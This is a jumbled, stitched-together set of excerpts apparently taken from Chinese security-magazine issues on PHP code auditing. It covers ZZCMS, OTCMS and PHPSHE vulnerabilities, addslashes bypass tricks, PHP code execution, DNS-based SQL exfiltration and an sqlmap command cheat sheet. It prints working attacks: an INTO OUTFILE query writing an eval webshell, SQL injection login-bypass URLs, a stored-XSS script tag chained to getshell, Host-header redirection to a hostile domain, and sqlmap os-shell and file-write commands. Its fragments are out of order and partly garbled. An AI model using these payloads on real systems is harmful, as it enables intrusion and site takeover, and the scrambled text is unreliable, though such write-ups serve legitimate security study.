问题文件： \\zzcms\\zzcms8.2\\user\\msg.php 漏洞类型：任意文件删除 站点地址：http://www.zzcms.net/ 0x01 漏洞分析 在\\zzcms\\zzcms8.2\\user\\del.php文件的第44-53行中得到如下代码块，通过分析代码块可以知道，是从数据库中取出图片路径然后进行删除操作,这里 同样的操作除了zzcms_main操作外，还有第64行的zzcms_licence操作，这里只分析zzcms_main操作。 因为此处是从数据库select操作中得到图片等文件的路径地址的，所以可以通过追踪对zzcms_main表进行insert或者update操作的代码，在 \\zzcms\\zzcms8.2\\user\\zssave.php文件的第94-102行发现insert或者update操作。 且在\\zzcms\\zzcms8.2\\user\\zssave.php文件的第103-118行中，当传入的oldimg与数据中的img不同时会删除oldimg,因此此处存在任意文件删除操作。 61 i春秋-夏刊-代码审计（第二期） 0x02 漏洞复现 情况一：在action=add的情况下进行任意文件删除 首先进行如下请求在img参数位置填入要删除的文件路径，如根目录下的1.txt。"},
    {"text": "62 i春秋-夏刊-代码审计（第二期） 情况二：在action=modify的情况下进行任意文件删除 进行如下请求在oldimg参数的位置构造要删除的目标文件，如根目录下的1.txt，所以可以使用../1.txt进行目录跳转后删除目标文件。"},
    {"text": "配置文件写入问题 0x00 相关环境 源码信息：ZZCMS 8.2 问题文件： \\zzcms\\zzcms8.2\\install\\index.php 漏洞类型：文件写入问题 站点地址：http://www.zzcms.net/ 0x01 漏洞分析 在\\zzcms\\zzcms8.2\\install\\index.php文件的第105-117行中发现如下代码块，用于将一些配置信息写入到配置文件中。 通过跟踪各个配置信息的传入过程，发现在\\zzcms\\zzcms8.2\\install\\index.php文件的第9-10行中使用了变量注册的方法进行变量的初始化。"},
    {"text": "分析代码可以知道，写入配置文件的操作并没有对传入的数据进行安全处理操作，因此仅需要按着流程走，然后在step=5的时候，在url位置传 入恶意代码便可以进行代码写入的操作，当然其他位置也有可以写入的，我这里只是用最简单的位置来实现。"},
    {"text": "0x02 漏洞复现 首先进行如下请求，将恶意代码写入到\\zzcms\\zzcms8.2\\inc\\config.php配置文件中： 63 i春秋-夏刊-代码审计（第二期） 然后访问http://127.0.0.1/inc/config.php便会生成evil.php文件,访问http://127.0.0.1/inc/evil.php便可以执行生成的恶意文件从而GetShell。 0x02 小结 本篇列举了ZZCMS8.2版本的任意文件删除与配置文件写入的问题，通过这两个漏洞的组合利用便可以GetShell，先使用任意文件删除漏洞，删 除install.lock文件，然后便可以利用配置文件写入的问题写入恶意代码从而GetShell，当然GetShell的方式还有很多，这里仅仅是列举了一 些分析起来比较简单的方法。 大家如果有发现其他方法好玩的洞也欢迎与我私下一同聊聊 64 i春秋-夏刊-代码审计（第二期） 代码审计|OTCMS 3.20 漏洞组合利用可前台GetShell 作者:yanzm 0x00 背景 本周拿到OTCMS的源码便对该源码进行审计，发现这个源码使用了预编译暂时没有找到SQL注入相关的问题，且对用户输入的内容控制比较严格， 对大部分的用户输入位置进行数据类型的转换，引号的转义等安全处理，最后通过审计发现了如下的安全问题组合利用可以GetShell，虽然 GetShell的条件限制可能较多。"},
    {"text": "0x01 审计过程 XSS注入 0x00 相关环境 源码信息：OTCMS-PHP-3.20-20180316 问题文件： \\otcms\\OTCMS_PHP_3.20_20180316\\inc\\classArea.php 漏洞类型：存储型XSS注入 站点地址：http://otcms.com/ 0x01 漏洞分析 首先注册会员并在管理员审核通过后在会员中心发布文章，在\\otcms\\OTCMS_PHP_3.20_20180316\\usersNews_deal.php文件的第58行中接收POST 请求的content参数的值然后传入到FilterEditor方法中进行安全处理。"},
    {"text": "过滤规则存在被绕过的的问题，绕过的方式有多种，这里我是绕过script标签，绕过的方式很简单，仅需在最后一个</script >的>位置之前加 上空格即可。"},
    {"text": "绝对路径泄露 0x00 相关环境 66 i春秋-夏刊-代码审计（第二期） 源码信息：OTCMS-PHP-3.20-20180316 问题文件：\\otcms\\OTCMS_PHP_3.20_20180316\\inc\\classZip.php 漏洞类型：绝对路径泄露 站点地址：http://otcms.com/ 0x01 漏洞分析 在文件\\otcms\\OTCMS_PHP_3.20_20180316\\inc\\classZip.php中的第86行中,在进行备份文件的压缩的时候，将压缩的路径直接打印出来，暴露了站 点的绝对路径。"},
    {"text": "数据库写马 67 i春秋-夏刊-代码审计（第二期） 0x00 相关环境 源码信息：OTCMS-PHP-3.20-20180316 问题文件： \\otcms\\OTCMS_PHP_3.20_20180316\\admin\\sysCheckFile_deal.php 漏洞类型：数据库写马 站点地址：http://otcms.com/ 0x01 漏洞分析 由于该源码暴露了站点的绝对路径，所以就开始挖掘SQL注入漏洞，后面发现站点使用了预编译所以暂时还没有找到可以利用的点，在后台的“管理员 专区->程序文件检查->SQL语句调试”中发现可以执行SQL语句的地方，通过分析文件\\otcms\\OTCMS_PHP_3.20_20180316\\admin\\sysCheckFile_deal.php 文件中的第541行中内容，得知在执行SQL语句中是不能出现分号的，但是通过数据库写马操作写入PHP代码是有分号的，此处可以使用hex编码绕过。 0x02 漏洞复现 进行如下请求将PHP代码进行hex编码后再执行数据库写马操作便可以getshell。"},
    {"text": "68 0x00 背景 本周，将zzcms8.2的源码的GetShell方法与大家一同分享，在上周有说过这个CMS比较适合新手或想要入坑PHP代码审计的同学练手，所以分享下从一 些容易发现的漏洞一步步到GetShell的过程，如果大家还有其他思路欢迎一同讨论，期待与师傅们的交流。 0x01 审计过程 文件删除问题： 0x00 相关环境 源码信息：ZZCMS 8.2 问题文件： \\zzcms\\zzcms8.2\\user\\msg.php 漏洞类型：任意文件删除 站点地址：http://www.zzcms.net/ 0x01 漏洞分析 在\\zzcms\\zzcms8.2\\user\\del.php文件的第44-53行中得到如下代码块，通过分析代码块可以知道，是从数据库中取出图片路径然后进行删除操作,这里 同样的操作除了zzcms_main操作外，还有第64行的zzcms_licence操作，这里只分析zzcms_main操作。 因为此处是从数据库select操作中得到图片等文件的路径地址的，所以可以通过追踪对zzcms_main表进行insert或者update操作的代码，在 \\zzcms\\zzcms8.2\\user\\zssave.php文件的第94-102行发现insert或者update操作。 且在\\zzcms\\zzcms8.2\\user\\zssave.php文件的第103-118行中，当传入的oldimg与数据中的img不同时会删除oldimg,因此此处存在任意文件删除操作。"},
    {"text": "然后正常填入文章内容选项，提交的时候使用burp suite进行代理抓包，添加 <script src=\"http://xx.xx.xx/97b575.js\" </script >然后提交请求包。"},
    {"text": "模拟管理员登录后台，并查看或审核文章，当管理员访问到该文章，便会触发JS从而为利用数据库写马的操作，写入PHP文件GetShell. 管理员查看文章，便会触发ajax进行XHR请求，写入PHP文件。"},
    {"text": "0x02 小结 本篇以otcms的源码进行审计，其中数据库写马的操作限制比较多，但是通过这几个漏洞的组合利用，可以学习下使用前端代码获取ajax返回的绝对路 径并进行数据库写马操作，期待师傅们一起交流讨论，但是如果是hc请走开勿扰，交流学习可联系我 点此返回目录 70 i春秋-夏刊-代码审计（第二期） 代码审计| PHPSHE 1.5漏洞集合 作者:yanzm 最近拿到PHPSHE 1.5的源码进行了审计，于是撰写了本篇，把一些问题发出来，多处SQL注入，任意文件删除，host头部攻击进行讨论，如 host位置的注入有什么好的利用发法，大家可以说说看 :-D 当然源码还有其它问题，由于篇幅有限无法呈现，有兴趣研究的可以与我私下讨论， 期待和大家的各种交流讨论。 SQL注入漏洞 0x00 相关环境 源码信息： phpshe1.5 问题文件： phpshe1.5\\module\\admin\\moneylog.php 漏洞类型：后台SQL注入，可写webShell 站点地址：http://www.phpshe.com/ 0x01 漏洞复现 在phpshe1.5\\module\\admin\\moneylog.php文件的第10-11行中，$_g_user_name与$_g_type直接与SQL拼接，未进行安全处理。 追溯$_g_user_name与$_g_type，发是在phpshe1.5\\common.php中进行了GET和POST的变量创建，创建后也未对变量进行安全处理，因此确定存 在安全漏洞。"},
    {"text": "论坛半月刊二（1） i春秋-夏刊-代码审计（第二期） 目录 前言 代码审计| FineCMS 漏洞挖掘········ 47 正所谓“磨刀不误砍柴工”，要先学前面基础，到进阶部分才不 （finecms配置文件写入问题，不过有限制，有些程序倒没有限制， 会一头雾水。"},
    {"text": "代码审计不但能为你积蓄技能，同时 【代码审计初探】beescms v4.0_R SQL····50 也磨炼了你的心性。 让自己学有所思、学有所乐、学有所得，帮 助自己克服对代码审计的恐慌。 希望大家学习完这个专题能从看 【代码审计】对Beescms SQL注入漏洞的进一步思考 到代码就躁过渡到一天不审就手痒境界！"},
    {"text": "····················· 53 代码审计之绕过addslashes总结············ 1 代码审计 |Z-BlogPHP_1_5_1_Zero GetShell漏洞分 (难道用了addslashes函数去过滤就完全可以避免注入了吗？"},
    {"text": ") 析·····················56 常见WEB漏洞原理分析及利用方式——SQL注入篇 ····7 代码审计| ZZCMS 8.2 任意文件删除导致GetShel· (SQL还没入门的赶紧的，过了这个村就没这个店了！"},
    {"text": ") ······················61 （任意文件删除导致getshell，这个姿势在很多程序写入配置文件 代码审计&细谈变量覆盖漏洞············ · 9 的时候都会存在过滤不当的情况。"},
    {"text": ") 代码审计 |OTCMS 3.20漏洞组合利用可前台GetShell 常见WEB漏洞代码层原理分析及利用方式之Php代码执行篇· ······················65 ························· 20 代码审计| PHPSHE 1.5漏洞集合······ · 71 (代码审计最喜欢最是找代码执行漏洞了，能执行代码了差不多离shell就不远 了。 ) 相关阅读 相关阅读 进阶实战 常见WEB漏洞代码层原理分析及利用方式——文件操作漏洞 篇························ 24 (文件包含、文件读取、文件删除、文件修改以及文件上传这些都是代码审计必 三款自动化代码审计工具 须了解的不能包含我就删，不能删除我就改，不能修改我就上个马儿弄shi你。 ) 一个CMS案例实战讲解PHP代码审计入门 代码审计| 适合练手的ZZCMS8.2漏洞········· 29 （这套程序确实漏洞百出，很适合新手去练手，让成就感支持自己坚 一名代码审计新手的实战经历与感悟 持学下去！ ） 代码审计之织梦最新版后台代码注入········· 33 代码审计入门总结 （准备好了吗？ SQL实战分析来了，CVE-2018-7700漏洞的分析） 代码审计之dedecms最新后台两处getshell······ 39 （dedecms最新的getshell，还在烦恼弄到了后台拿不了shell？ ） Thinkphp框架 3.2.x sql注入漏洞分析·········42 （先偷偷告诉大家一个赚钱的机会，现在有很多XX游戏都是用这个版 本来开发 的，发家致富的机会来了!） 1 1 1 i春秋-夏刊-代码审计（第二期） 代码审计之绕过addslashes总结 作者:无敌情痴 一：addslashes防御sql注入原理 上面是一段登录代码以及一个登录表单，正常情况下要输入正确的账号密码才可以登录 不过由于username是可控的，并且没有经过任何过滤，所以可以利用这个来绕过密码检测,密码随便输入，账号输入admin'#懂sql的朋友 应该知道是什么情况了,这样执行的语句就是select count(*) as num from admin where name=admin 了，这样就绕过了密码检测了. 下面使用addslashes来防御（addslashes函数会把' \" %00 \\ 这些字符前面加上一个\\来转义他们） 把上面的代码改改 1 1 i春秋-夏刊-代码审计（第二期） 然后我们再试试 发现已经登录不了了 我们查看一下数据库执行的语句 11 Init DB test 11 Query select count(*) as num from admin where name='admin\\'#' and pass='d58e3582afa99 040e27b92b13c8f2280' 11 Quit 'admin\\' 可以看到'被转义\\'这样就逃不出引号了 二：字符编码问题导致绕过 2.1:设置数据库字符为gbk导致宽字节注入 这样却登录成功了，这是因为宽字节问题，这是因为 %df和\\(%5c)合成了一个運 导致后面'没有被转义，闭合成功，逃出引号，成 功注入这里借P牛的一段话（这就是mysql的特性，因为gbk是多字节编码，他认为两个字节代表一个汉字，所以%df和后面的\\也就 是%5c变成了一个汉字“運”，而’逃逸了出来。"},
    {"text": "） 2.2：使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入 在使用iconv和mb_convert_encoding进行字符编码转换的时候同样会造成宽字节注入，我们先试试utf-8转gbk，转码函数不管是 iconv或者mb_convert_encoding都会造成宽字节注入。 2 1 i春秋-夏刊-代码审计（第二期） http://127.0.0.1/ichunqiu/login1.php?username=admin%df%27or%201=1%23&password=test 访问测试，登录成功，可以注入 同样是因为因为 %df和\\(%5c)合成了一个運 导致后面'没有被转义，闭合成功，逃出引号，成功注入再试试 gbk 转 utf-8 http://127.0.0.1/ichunqiu/login1.php?username=admin錦%27or%201=1%23&password=test 访问测试，发现成功了，借一下P牛对这个的解释：(錦”这个字，它的utf-8编码是0xe98ca6，它的gbk编码是0xe55c。 当我们的錦 被iconv从utf-8转换成gbk后，变成了%e5%5c，而后面的’被 addslashes 变成了 %5c%27，这样组合起来就是 %e5%5c%5c%27，两个 %5c就是\\\\，正好把反斜杠转义了，导致’逃逸出单引号，产生注入。"},
    {"text": ") 三：编码解码导致的绕过 下面几种情况差不多，都是因为字符串在带入查询前，被做了一些编码解码操作没有再做一次过滤，导致绕过了addslashes的过滤 （其实可以绕过各种防注入，不仅仅是addslashes），这种案例我在审代码的过程中还是遇过一些的。 3.1、url解码导致绕过addslashes http://127.0.0.1/ichunqiu/login1.php?username=%2561%2564%256d%2569%256e%2527%2520%2523&password=test 访问后发现登录成功了 3 1 i春秋-夏刊-代码审计（第二期） %2561%2564%256d%2569%256e%2527%2520%2523 是做了两次编码的admin' #,之所以要做两次编码是因为web服务器会自动对从$_GET过来的数据解码一次，要编码两次 $username=addslashes($username); $username=urldecode($username); 虽然在做了addslashes来转义引号，但是下面一行代码用了urldecode来对$username做解码，所以可以利用url编码来绕过过滤 看看数据库执行记录，确实被解码了 3.2、base64解码导致绕过addslashes,和url解码绕过差不多是一回事 $username=addslashes($username); $username=base64_decode($username); 也是因为解码后没有在过滤，导致base64编码绕过：http://127.0.0.1/ichunqiu/login1.php?username=YWRtaW4nICM=&password=test 登录成功，看看数据库执行记录，确实被解码了 3.3：json编码导致绕过addslashes json编码绕过addslashes是因为json编码会把\\转换为\\\\ ，admin' # 被addslashes会变成admin\\' # 引号被过滤了转移不了，但是 经过了json_encode后变成admin\\\\' # 引号成功逃了出来，可以注入 4 1 1 1 i春秋-夏刊-代码审计（第二期） http://127.0.0.1/ichunqiu/login1.php?username=admin%27%20or%201=1%20%23&password=test,访问后发现登录成功 查看数据库执行记录可以看到\\被转换为\\\\ 四：一些特殊情况导致的绕过 4.1、没有使用引号保护字符串，直接无视addslashes，这种情况的案例不少，虽然做了addslashes但是没有引号保护导致直接注入 4.2、使用了stripslashes 这种案例我只在乌云看过一次，程序明明在开头对所有变量做了$_GET,$_POST,$_COOKIE 偏偏出来了一个牛逼哄哄的程序员，在数据带入 查询之前做了stripslashes，去掉了转义，直接注入 4.3、字符替换导致的绕过addslashes 这种情况也看过一些案例，程序在带入程序之前把字符串的某些字符做了替换，而替换的字符中出现了一些\\ ' 导致了注入的绕过，比如 下面这样 5 1 i春秋-夏刊-代码审计（第二期） http://127.0.0.1/ichunqiu/login1.php?username=admin%27%20%23&password=test 访问，发现登录成功，这里之所以可以绕过addslashes是因为前面做了$username=str_replace(array(\"\\\\\",\"/\",\" \"),array(\"\",\"\",\"\") ,$username); 把addslashes后的\\' 变成了',闭合成功，逃出引号注入 结语 上面的内容基本是我见过的遇过的所有绕过addslashes的方式了，当然肯定不止这些，要看具体的代码，各种各样的操作可能会导致各 种姿势的绕过过滤，本人是个菜逼学艺不精，文章难免有不足之处，希望大家多多指正。"},
    {"text": "（PS： 猜猜我这文章格式是抄袭I春秋的那个大牛的） 点此返回目录 点此返回 6 1 i春秋-夏刊-代码审计（第二期） 常见WEB漏洞原理分析及利用方式——SQL注入篇 作者:SaFeBuG 1.SQL注入"},
    {"text": "论坛半月刊二（1） 3.动态函数执行 Php动态函数写法为“变量（参数）” 测试代码如下： 21 i春秋-夏刊-代码审计（第二期） 访问/Php.php?a=assert&b=phpinfo()效果如下 第二段测试代码 访问/Php.php?a=system&b=ipconfig查看ip效果如下 4. array_map()函数的代码执行 其实array_map()函数原理跟eval(),assert1()函数原理差不多 22 i春秋-夏刊-代码审计（第二期） 同类型函数还有很多我举例一些 防范方法 1、尽量不要执行外部命令 2、使用自定义函数或函数库来替代外部命令的功能 3、使用escapeshellarg函数来处理命令参数 4、使用safe_mode_exec_dir指定可执行文件的路径 esacpeshellarg函数会将任何引起参数或命令结束的字符转义，单引号“'”，替换成“\\'”，双引号“\"”，替换成“\\\"”， 分号“;”替换成“\\;” 用safe_mode_exec_dir指定可执行文件的路径，可以把会使用的命令提前放入此路径内 点此返回目录 23 i春秋-夏刊-代码审计（第二期） 常见WEB漏洞代码层原理分析及利用方式之Php代码执行篇 作者:SaFeBuG 00x01 Php代码执行有很多种函数与利用方式，但是目前常见的还是以下几种函数。 1.eval(),assert函数 这两个函数原本的作用就是用来执行动态执行代码，所以他们的参数直接就是php代码 测试代码： 请求/Php.php?arg=phpinfo();结果如下 当然assert也是一样的 测试代码如下 无非就是把eval替换为assert罢了. 访问/Php.php?arg=phpinfo();效果如下，图就不上了，效果一样的 Cover 论坛半月刊二（1） 2. 数据库写马操作 可以使用如下payload进行数据库写马操作。 http://127.0.0.1/code/phpshe1.5/admin.php?mod=moneylog&user_name=t' union select 1,2,3,4,5,6,'<?php eval($_POST[cmd])?>', 8,9 into outfile 'D:\\\\soft\\\\phpStudy\\\\WWW\\\\code\\\\phpshe1.5\\\\evil.php'%23&type=111 如上只是列举其中一处，同样的问题的件还有一些的文件： phpshe1.5\\module\\admin\\comment.php phpshe1.5\\module\\admin\\order.php phpshe1.5\\module\\admin\\order_pay.php phpshe1.5\\module\\admin\\pointlog.php phpshe1.5\\module\\admin\\ad.php phpshe1.5\\module\\admin\\ask.php phpshe1.5\\module\\admin\\cashout.php phpshe1.5\\module\\admin\\article.php phpshe1.5\\module\\admin\\product.php phpshe1.5\\module\\admin\\user.php phpshe1.5\\module\\admin\\useraddr.php phpshe1.5\\module\\admin\\userbank.php 1 72 1 i春秋-夏刊-代码审计（第二期） 任意文件删除 0x00 相关环境 源码信息： phpshe1.5 问题文件： phpshe1.5\\module\\admin\\db.php 漏洞类型：后台任意文件删除 站点地址：http://www.phpshe.com/ 0x01 漏洞复现 在phpshe1.5\\module\\admin\\db.php文件中的第85-89行中，用户可控的参数$_g_dbname直接传入进行文件路径的拼接，根据代码注释可知识数 据库删除的操作，可能存在任意文件删除漏洞。 跟入pe_dirdel方法，在phpshe1.5\\include\\function\\global.func.php文件的第250-264行中找到该方法，该方法使用unlink对传入的变量进 行删除操作，因此从用户可控位置到传入的危险函数中，整个流程未进行安全处理，所以存在任意文件删除操作。 如可以使用如下请求删除install.lock，进行重装操作。 在文件监控日志中出现了文件被删除的记录。 HTTP HOST头攻击 0x00 相关环境 73 i春秋-夏刊-代码审计（第二期） 源码信息： phpshe1.5 问题位置：$pe['host_root'], $pe['host_tpl'] 漏洞类型：全站HOST头部攻击 站点地址：http://www.phpshe.com/ 0x01 漏洞复现 在\\phpshe1.5\\common.php中的第24-40行中定义了模板路径，使用的$pe['host_root'], $pe['host_tpl']这个两个变量的值， $pe['host_root']是接收HTTP请求中的host字段的值，而$pe['host_tpl']是由$pe['host_root']与其他路径进行拼接形成的，并且使用echo 在前台展示出来。 跟入pe_root方法在phpshe1.5\\include\\function\\global.func.php文件的第145-170行发现该方法，在第153行中是用了 $_SERVER['HTTP_HOST']进行根域名数据的获取，然后再拼接成链接，因为HOST参数属于用户可控的位置，且直接进行拼接，所以存在HOST头 攻击问题。 经过测试全站host字段存在host注入，当然可以通过修改host字段加载外部恶意的js文件，进行恶意跳转，或执行恶意js脚本代码，如将host 修改成www.evil.com站点，网站中的跳转链接，便全部指向www.evil.com服务器，网站引用的js也是引用www.evil.com服务器的js文件，因此 可以利用该漏洞进行任意跳转，盗取用户cookie，执行恶意js脚本，但是直接修改host难以利用，最简单的利用方法是可以结合密码重置等业 务进行攻击，获取重置密码的key，有兴趣的可以私下讨论 ╮(╯▽╰)╭ 点此返回目录 74"},
    {"text": "index select load_file(concat(version(),\".baidu.com\\\\1.txt')); 假设 mysql 版本为 5.5，这时候 dns 服务器会接到一个要求解析 5.5.baidu.com 这个域名的请求 dns 注入的应用 不过就算我们注入使用了类似语句，传出信息也是发到 dns 服务器。"},
    {"text": "投稿请加QQ（浅安）：320229344 通过后可加入i春秋作家团 16 半月刊第四期 -SQL 注入 什么时候应该使用 dns 解析 没有任何回显，只能使用延时注入的注入点。"},
    {"text": "结束语 需要注意一下域名的长度控制在 63 个字符并且不支持一些字符 17 半月刊第四期 -SQL 注入 11 种常见 SQLmap 使用方法 作者：中国 Cold 一、SQLMAP 用于 Access 数据库注入 (2) 猜 解 字 段，( 通 过 1 的 表 猜 解 字 段， 假 如 表 为 (1) 猜解是否能注入 admin) win: python sqlmap.py -u \"http://www.xxx.com/en/ win :python sqlmap.py -u \"http://www.xxx.org/ CompHonorBig.asp?id=7\" jsj/shownews.asp\" --cookie \"id=31\" --columns -T Linux : ./sqlmap.py -u \"http://www.xxx.com/en/ admin --level 2 CompHonorBig.asp?id=7\" (2) 猜解表 (3) 猜解内容 win: python sqlmap.py -u \"http://www.xxx.com/en/ win :python sqlmap.py -u \"http://www.xxx.org/ CompHonorBig.asp?id=7\" --tables jsj/shownews.asp\" --cookie \"id=31\" --dump -T Linux: ./sqlmap.py -u \"http://www.xxx.com/en/ admin -C \"username,password\" --level 2 CompHonorBig.asp?id=7\" --tables (3) 根据猜解的表进行猜解表的字段 ( 假如通过 2 得到 了 admin 这个表 ) win: python sqlmap.py -u \"http://www.xxx.com/en/ 三、SQLMAP 用于 mysql 中 DDOS 攻击 CompHonorBig.asp?id=7\" --columns -T admin Linux: ./sqlmap.py -u \"http://www.xxx.com/en/ CompHonorBig.asp?id=7\" --columns -T admin (1) 获取一个 Shell (4) 根 据 字 段 猜 解 内 容 ( 假 如 通 过 3 得 到 字 段 为 win: username 和 password) python sqlmap.py -u http://192.168.159.1/news. php?id=1 --sql-shell win: python sqlmap.py -u \"http://www.xxx.com/ Linux: en/CompHonorBig.asp?id=7\" --dump -T admin -C sqlmap -u http://192.168.159.1/news.php?id=1 \"username,password\" --sql-shell Linux: ./sqlmap.py -u \"http://www.xxx.com/en/ CompHonorBig.asp?id=7\" --dump -T admin -C (2) 输入执行语句完成 DDOS 攻击 \"username, Bpassword\" select benchmark(99999999999,0x70726f62616e646f7 0726f62616e646f70726f62616e646f) 二、SQLMAP 用于 Cookie 注入 四、SQLMAP 用于 mysql 注入 (1) cookie 注入，猜解表 win : python sqlmap.py -u \"http://www.xxx.org/ (1) 查找数据库 jsj/shownews.asp\" --cookie \"id=31\" --table --level 2 python sqlmap.py -u \"http://www.xxx.com/link. php?id=321\" --dbs 现金奖励！ 投稿请加QQ（浅安）：320229344 通过后可加入i春秋作家团 18 半月刊第四期 -SQL 注入 几种注入方式：./sqlmap.py -r search-test.txt -p tfUPass (2) 通 过 第 一 步 的 数 据 库 查 找 表 ( 假 如 数 据 库 名 为 dataname) (2) 自动的搜索 sqlmap -u http://testasp.vulnweb.com/Login.asp python sqlmap.py -u \"http://www.xxx.com/link. --forms php?id=321\" -D dataname --tables (3) 指定参数搜索 sqlmap -u http://testasp.vulnweb.com/Login.asp (3) 通 过 2 中 的 表 得 出 列 名 ( 假 如 表 为 table_ --data \"tfUName=321&tfUPass=321\" name) python sqlmap.py -u \"http://www.xxx.com/link. php?id=321\" -D dataname -T table_name --columns 六、SQLMAP 中 Google 搜索注入 (4) 获取字段的值 ( 假如扫描出 id,user,password 字段 ) inurl 后面的语言是由自己定的 注入过程中如果选 y 是注入，如果不是选 n python sqlmap.py -u \"http://www.xxx.com/link. sqlmap -g inurl:php?id= php?id=321\" -D dataname -T table_name -C \"id,user,password\" --dump 七、SQLMAP 中的请求延迟 五、SQLMAP 中 post 登陆框注入 参数 --delay --safe-freq python sqlmap.py --dbs -u \"http://xxx.cn/index. php/Index/view/id/40.html\" --delay 1 (1) 其 中 的 search-test.txt 是 通 过 抓 包 工 具 burp python sqlmap.py --dbs -u \"http://xxx.cn/index. suite 抓到的包并把数据保存为这个 txt 文件 php/Index/view/id/40.html\" --safe-freq 3 我们在使用 Sqlmap 进行 post 型注入时，经常会出现请 求遗漏导致注入失败的情况。 这里分享一个小技巧，即 结合 burpsuite 来使用 sqlmap，用这种方法进行 post 八、SQLMAP 绕过 WAF 防火墙 注入测试会更准确，操作起来也非常容易。 注入点 :http://192.168.159.1/news.php?id=1 sqlmap -u http://192.168.159.1/news.php?id=1 -v 1. 浏览器打开目标地址 http:// www.xxx.com /Login.asp 3 --dbs --batch --tamper \"space2morehash.py\" 2. 配置 burp 代理 (127.0.0.1:8080) 以拦截请求 space2morehash.py 中 可 以 替 换 space2hash.py 或 者 3. 点击 login 表单的 submit 按钮 base64encode.py 或者 charencode.py 都是编码方式 4. 这时候 Burp 会拦截到了我们的登录 POST 请求 space2hash.py base64encode.py charencode.py 5. 把这个 post 请求复制为 txt, 我这命名为 search-test.txt 然 后把它放至 sqlmap 目录下 6. 运行 sqlmap 并使用如下命令： 九、SQLMAP 查看权限 ./sqlmap.py -r search-test.txt -p tfUPass 这 里 参 数 -r 是 让 sqlmap 加 载 我 们 的 post 请 求 sqlmap -u http://192.168.159.1/news.php?id=1 rsearch-test.txt，而 -p 大家应该比较熟悉，指定注 --privileges 入用的参数。 注入点：http://testasp.vulnweb.com/Login.asp 19 半月刊第四期 -SQL 注入 sqlmap -r “c:\\tools\\request.txt” –dbms mysql 十、SQLMAP 伪静态注入 -D dedecms –search -C admin,password 在 dedecms 数据库中搜索字段 admin 或者 password。"},
    {"text": "(1) 查找数据库 python sqlmap.py -u \"http://xxx.cn/index.php/ 读取与写入文件 Index/view/id/40.html\" --dbs 首先找需要网站的物理路径，其次需要有可写或可读权 限。 (2) 通过 1 中的数据库查找对应的表 ( 假如通过 1，得 到的是 dataname) –file-read=RFILE 从后端的数据库管理系统文件系统 读取文件 （物理路径） python sqlmap.py -u \"http://xxx.cn/index.php/ –file-write=WFILE 编辑后端的数据库管理系统文件 Index/view/id/40.html\" -D dataname --tables 系统上的本地文件 （mssql xp_shell） –file-dest=DFILE 后端的数据库管理系统写入文件的 (3) 通 过 2 中 的 数 据 表 得 到 字 段 ( 假 如 得 到 的 是 绝对路径 tablename 表 ) # 示例： python sqlmap.py -u \"http://xxx.cn/index.php/ sqlmap -r “c:\\request.txt” -p id –dbms mysql –file-Index/view/id/40.html\" -D dataname -T dest “e:\\php\\htdocs\\dvwa\\inc\\include\\1.php” –file-write tablename --columns “f:\\webshell\\1112.php” (4) 通过 3 得到字段值 ( 假如从 3 中得到字段 id， 使用 shell 命令： password) sqlmap -r “c:\\tools\\request.txt” -p id –dms mysql –os-shell python sqlmap.py -u \"http://xxx.cn/index.php/ Index/view/id/40.html\" -D dataname -T 接下来指定网站可写目录： tablename -C \"password\" --dump “E:\\php\\htdocs\\dvwa” 十一、SQLMAP 注入点执行命令与交互 # 注：mysql 不支持列目录，仅支持读取单个文件。 sqlserver 写 shell 可以列目录，不能读写文件，但需要一个（xp_dirtree 函数） sqlmap 详细命令： (1) 注入点：http://192.168.159.1/news.php?id=1 -is-dba 当前用户权限（是否为 root 权限） -dbs 所有数据库 此处采用的是 Linux 系统 -current-db 网站当前数据库 sqlmap -u http://192.168.159.1/news.php?id=1 -users 所有数据库用户 --os-cmd=ipconfig -current-user 当前数据库用户 -random-agent 构造随机 user-agent 出现语言的选择根据实际的测试网站选择语言 -passwords 数据库密码 指定目标站点 D:/www/ -proxy http://local:8080 –threads 10 ( 可以自定 义线程加速 ) 代理 (2) 获取 Shell -time-sec=TIMESEC DBMS 响应的延迟时间（默认为 5 秒） sqlmap -u http://192.168.159.1/news.php?id=1 Options（选项）： --os-shell -version 显示程序的版本号并退出 -h, –help 显示此帮助消息并退出 出现语言的选择根据实际的测试网站选择语言 -v VERBOSE 详细级别：0-6（默认为 1） Target（目标）： 指定目标站点 D:/www/ 以下至少需要设置其中一个选项，设置目标 URL。"},
    {"text": "-last=LASTCHAR 最后查询的输出字字符检索 -data=DATA 通过 POST 发送的数据字符串 -sql-query=QUERY 要执行的 SQL 语句 -cookie=COOKIE HTTP Cookie 头 -sql-shell 提示交互式 SQL 的 shell -cookie-urlencode URL 编码生成的 cookie 注入 -drop-set-cookie 忽略响应的 Set – Cookie 头信息 -user-agent=AGENT 指定 HTTP User – Agent 头 Optimization（优化）： -random-agent 使用随机选定的 HTTP User – Agent 头 这些选项可用于优化 SqlMap 的性能。 -referer=REFERER 指定 HTTP Referer 头 -o 开启所有优化开关 -headers=HEADERS 换行分开，加入其他的 HTTP 头 –predict-output 预测常见的查询输出 -auth-type=ATYPE HTTP 身份验证类型（基本，摘要或 –keep-alive 使用持久的 HTTP（S）连接 NTLM）(Basic, Digest or NTLM) –null-connection 从没有实际的 HTTP 响应体中检索 -auth-cred=ACRED HTTP 身份验证凭据（用户名 : 密码） 页面长度 -auth-cert=ACERT HTTP 认 证 证 书（key_file，cert_ –threads=THREADS 最大的 HTTP（S）请求并发量（默 file） 认为 1） -proxy=PROXY 使用 HTTP 代理连接到目标 URL Injection（注入）： -proxy-cred=PCRED HTTP 代理身份验证凭据（用户名： 这些选项可以用来指定测试哪些参数， 提供自定义的 密码） 注入 payloads 和可选篡改脚本。 -ignore-proxy 忽略系统默认的 HTTP 代理 -p TESTPARAMETER 可测试的参数（S） -delay=DELAY 在每个 HTTP 请求之间的延迟时间，单位 –dbms=DBMS 强制后端的 DBMS 为此值 为秒 –os=OS 强制后端的 DBMS 操作系统为这个值 -timeout=TIMEOUT 等待连接超时的时间（默认为 30 秒） –prefix=PREFIX 注入 payload 字符串前缀 -retries=RETRIES 连接超时后重新连接的时间（默认 3） –suffix=SUFFIX 注入 payload 字符串后缀 -scope=SCOPE 从所提供的代理日志中过滤器目标的正 –tamper=TAMPER 使用给定的脚本（S）篡改注入数据 则表达式 -safe-url=SAFURL 在测试过程中经常访问的 url 地址 Detection（检测）： -safe-freq=SAFREQ 两次访问之间测试请求，给出安全 的 URL 这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。"},
